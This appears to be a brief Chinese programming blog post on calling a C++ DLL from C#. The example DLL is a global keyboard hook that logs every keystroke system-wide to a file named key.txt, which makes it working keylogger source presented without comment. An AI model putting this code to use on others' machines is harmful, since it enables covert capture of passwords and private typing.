c# 导入c++ dll


c#:

    //导出函数定义
        [DllImport("KeyHook.dll", EntryPoint = "InstallHook", CharSet = CharSet.Auto, CallingConvention = CallingConvention.Cdecl)]     //每个导出函数都要加上这一段
        public static extern void InstallHook(int nCode);
        [DllImport("KeyHook.dll")]         //每个导出函数都要加上这一段
        public static extern void EndHook(); 


c++如下:

#include "stdafx.h"
#include 
#define DllExport extern "C" __declspec(dllexport)	//extern "C" 一定要要加 否则C#没法找到
#pragma data_seg("hookdata")
HHOOK oldkeyhook=0;
#pragma data_seg()
#pragma comment(linker,"/SECTION:hookdata,RWS")		//通知连接器句柄是可读可写可共享的


DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lPram);
DllExport void InstallHook(int nCode);
DllExport void EndHook();

HMODULE ModuleFromAddress(PVOID pv)
{
	MEMORY_BASIC_INFORMATION mbi;
	return ::VirtualQuery(pv, &mbi, sizeof(mbi)) != NULL ? (HMODULE)mbi.AllocationBase : NULL;
}


void InstallHook(int nCode)
{
	HINSTANCE hInst;
	hInst = ModuleFromAddress(KeyBoardProc);
	oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}


void EndHook(void)
{
	UnhookWindowsHookEx(oldkeyhook);
}


DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	char szKeyName[80];
	FILE *fp;
	if(lParam&0x80000000)
	{
		fp = fopen("key.txt","a");
		::GetKeyNameTextA(lParam,szKeyName,80);
		if(strlen(szKeyName)>1)
			fprintf(fp,"[%s]",szKeyName);
		else
			fprintf(fp,"%s",szKeyName);
		fclose(fp);
	}
	return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);

}



你可能感兴趣的:(c# 导入c++ dll)